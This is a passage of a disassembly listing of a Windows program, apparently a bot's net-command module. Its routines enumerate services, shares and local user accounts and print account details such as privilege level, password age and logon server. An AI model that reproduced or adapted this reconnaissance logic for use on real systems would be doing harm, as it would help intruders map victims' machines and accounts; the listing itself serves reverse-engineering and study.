		cmp	eax, 0EAh
		jnz	loc_41319A


loc_4130E6:				; CODE XREF: sub_413074+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_413191
		lea	esi, [ebp+var_188]


loc_4130F7:				; CODE XREF: sub_413074+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_413140
		dec	eax
		jz	short loc_413139
		dec	eax
		jz	short loc_413132
		dec	eax
		jz	short loc_41312B
		dec	eax
		jz	short loc_413124
		dec	eax
		jz	short loc_41311D
		dec	eax
		jz	short loc_413116
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413116:				; CODE XREF: sub_413074+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_41311D:				; CODE XREF: sub_413074+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413124:				; CODE XREF: sub_413074+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_41312B:				; CODE XREF: sub_413074+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413132:				; CODE XREF: sub_413074+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413139:				; CODE XREF: sub_413074+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_413145
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413074+87j
		push	offset aStopped	; "    Stopped"


loc_413145:				; CODE XREF: sub_413074+A0j
					; sub_413074+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4154CD
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4130F7


loc_413191:				; CODE XREF: sub_413074+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4130AC


loc_41319A:				; CODE XREF: sub_413074+6Cj
		push	[ebp+var_C]
		call	ds:dword_43A27C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_413074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131B1	proc near		; CODE XREF: seg000:loc_40EE27p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41324A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4131DA
		dec	eax
		jnz	short loc_41322A
		push	edi
		push	0
		call	sub_413383
		pop	ecx
		pop	ecx
		jmp	short loc_413226
; ---------------------------------------------------------------------------


loc_4131DA:				; CODE XREF: sub_4131B1+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_413218
		push	24h
		push	edi
		call	sub_417060
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413218
		push	57h
		pop	eax


loc_4131F1:				; CODE XREF: sub_4131B1+77j
		push	eax
		call	sub_413B5B
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C3C
		push	ds:off_436610[eax*4]
		push	offset dword_436D1C
		push	esi
		call	sub_4154CD
		add	esp, 18h
		jmp	short loc_41326A
; ---------------------------------------------------------------------------


loc_413218:				; CODE XREF: sub_4131B1+2Dj
					; sub_4131B1+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4132D7
		add	esp, 0Ch


loc_413226:				; CODE XREF: sub_4131B1+27j
		test	eax, eax
		jnz	short loc_4131F1


loc_41322A:				; CODE XREF: sub_4131B1+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C3C
		push	ds:off_436614[eax*4]
		push	offset dword_436CEC
		push	esi
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_41326A
; ---------------------------------------------------------------------------


loc_41324A:				; CODE XREF: sub_4131B1+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468C3C
		lea	eax, [eax+eax*2]
		push	ds:off_436610[eax*4]
		push	offset dword_436CB4
		push	esi
		call	sub_4154CD
		add	esp, 0Ch


loc_41326A:				; CODE XREF: sub_4131B1+65j
					; sub_4131B1+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4131B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413270	proc near		; CODE XREF: seg000:004148E5p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41327D
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41327D:				; CODE XREF: sub_413270+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	ds:byte_468E3C,	1
		mov	ebp, eax
		jnz	short loc_4132BA
		or	ds:byte_468E3C,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	ds:dword_468BDC, eax


loc_4132BA:				; CODE XREF: sub_413270+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_468BDC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, ds:dword_468BDC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_413270	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132D7	proc near		; CODE XREF: sub_4131B1+6Dp
					; sub_4149C4+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_413342
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_413342
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417060
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_413342
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_43A278
		pop	edi
		leave
		retn
sub_4132D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_413342	proc near		; CODE XREF: sub_4132D7+Ap
					; sub_4132D7+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_41334F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41334F:				; CODE XREF: sub_413342+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413342	endp


; =============== S U B	R O U T	I N E =======================================



sub_413383	proc near		; CODE XREF: sub_4131B1+20p
					; seg000:0041485Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_413342
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_413342
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_43A250
		pop	esi
		retn
sub_413383	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133A6	proc near		; CODE XREF: seg000:0040EE53p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_413342
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 18h


loc_4133DF:				; CODE XREF: sub_4133A6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_43A2C4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_413442
		cmp	ebx, 0EAh
		jz	short loc_413442
		push	ebx
		push	ebx
		call	sub_413B5B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_436D7C
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 24h
		jmp	short loc_4134AF
; ---------------------------------------------------------------------------


loc_413442:				; CODE XREF: sub_4133A6+5Dj
					; sub_4133A6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4134A6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_413450:				; CODE XREF: sub_4133A6+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_43A26C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413467
		mov	eax, offset aNo	; "No"


loc_413467:				; CODE XREF: sub_4133A6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_413450
		xor	esi, esi


loc_4134A6:				; CODE XREF: sub_4133A6+A2j
		push	[ebp+var_4]
		call	ds:dword_43A408


loc_4134AF:				; CODE XREF: sub_4133A6+9Aj
		cmp	ebx, 0EAh
		jz	loc_4133DF
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4133A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134C7	proc near		; CODE XREF: seg000:loc_40EEC9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41356B
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_413509
		dec	eax
		jz	short loc_4134FE
		dec	eax
		jnz	short loc_413524
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_41360D
		add	esp, 14h
		jmp	short loc_413520
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: sub_4134C7+1Dj
		push	ebx
		push	edi
		call	sub_4135EC
		pop	ecx
		pop	ecx
		jmp	short loc_413520
; ---------------------------------------------------------------------------


loc_413509:				; CODE XREF: sub_4134C7+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_41351D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_413592
		add	esp, 0Ch
		jmp	short loc_413520
; ---------------------------------------------------------------------------


loc_41351D:				; CODE XREF: sub_4134C7+45j
		push	57h
		pop	eax


loc_413520:				; CODE XREF: sub_4134C7+35j
					; sub_4134C7+40j ...
		cmp	eax, edi
		jnz	short loc_413544


loc_413524:				; CODE XREF: sub_4134C7+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E40
		push	ds:off_436614[eax*4]
		push	offset dword_436E6C
		push	esi
		call	sub_4154CD
		add	esp, 10h
		jmp	short loc_41358B
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4134C7+5Bj
		push	eax
		call	sub_413B5B
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E40
		push	ds:off_436610[eax*4]
		push	offset dword_436E2C
		push	esi
		call	sub_4154CD
		add	esp, 18h
		jmp	short loc_41358B
; ---------------------------------------------------------------------------


loc_41356B:				; CODE XREF: sub_4134C7+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468E40
		lea	eax, [eax+eax*2]
		push	ds:off_436610[eax*4]
		push	offset dword_436DF0
		push	esi
		call	sub_4154CD
		add	esp, 0Ch


loc_41358B:				; CODE XREF: sub_4134C7+7Bj
					; sub_4134C7+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4134C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413592	proc near		; CODE XREF: sub_4134C7+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_413342
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_413342
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_413342
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_43A25C
		pop	edi
		leave
		retn
sub_413592	endp


; =============== S U B	R O U T	I N E =======================================



sub_4135EC	proc near		; CODE XREF: sub_4134C7+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_413342
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_413342
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_43A24C
		pop	esi
		retn
sub_4135EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41360D	proc near		; CODE XREF: sub_4134C7+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_413342
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_413342
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_43A3D0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41399A
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4139D5
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4154CD
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_413726
		dec	eax
		jz	short loc_41371F
		dec	eax
		jz	short loc_413718
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41372B
; ---------------------------------------------------------------------------


loc_413718:				; CODE XREF: sub_41360D+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41372B
; ---------------------------------------------------------------------------


loc_41371F:				; CODE XREF: sub_41360D+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41372B
; ---------------------------------------------------------------------------


loc_413726:				; CODE XREF: sub_41360D+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41372B:				; CODE XREF: sub_41360D+109j
					; sub_41360D+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D32
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4139C6
; ---------------------------------------------------------------------------


loc_41399A:				; CODE XREF: sub_41360D+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_436EA0
		push	eax
		call	sub_4154CD
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412D32
		add	esp, 20h


loc_4139C6:				; CODE XREF: sub_41360D+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4139D5
		push	[ebp+var_4]
		call	ds:dword_43A408


loc_4139D5:				; CODE XREF: sub_41360D+40j
					; sub_41360D+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_41360D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139DB	proc near		; CODE XREF: seg000:0040EEF5p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_413342
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 18h


loc_413A1A:				; CODE XREF: sub_4139DB+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_43A2E0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_413A7B
		cmp	eax, 0EAh
		jz	short loc_413A7B
		push	eax
		push	eax
		call	sub_413B5B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_4370A8
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 24h
		jmp	short loc_413AF6
; ---------------------------------------------------------------------------


loc_413A7B:				; CODE XREF: sub_4139DB+62j
					; sub_4139DB+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_413B09
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_413AF6


loc_413A8D:				; CODE XREF: sub_4139DB+EDj
		cmp	edi, esi
		jz	short loc_413ACC
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_413A8D
		jmp	short loc_413AF6
; ---------------------------------------------------------------------------


loc_413ACC:				; CODE XREF: sub_4139DB+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_437060
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 1Ch


loc_413AF6:				; CODE XREF: sub_4139DB+9Ej
					; sub_4139DB+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_413B09
		push	edi
		call	ds:dword_43A408
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_413B09:				; CODE XREF: sub_4139DB+A5j
					; sub_4139DB+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_413A1A
		cmp	edi, esi
		jz	short loc_413B21
		push	edi
		call	ds:dword_43A408


loc_413B21:				; CODE XREF: sub_4139DB+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4139DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B5B	proc near		; CODE XREF: sub_4131B1+41p
					; sub_4133A6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413C0D
		jz	loc_413C06
		cmp	eax, 7Bh
		ja	short loc_413BD2
		jz	short loc_413BC8
		cmp	eax, 5
		jz	short loc_413BBE
		cmp	eax, 8
		jz	short loc_413BB4
		cmp	eax, 32h
		jz	short loc_413BAA
		cmp	eax, 35h
		jz	short loc_413BA0
		cmp	eax, 57h
		jnz	loc_413C5C
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BA0:				; CODE XREF: sub_413B5B+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BAA:				; CODE XREF: sub_413B5B+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
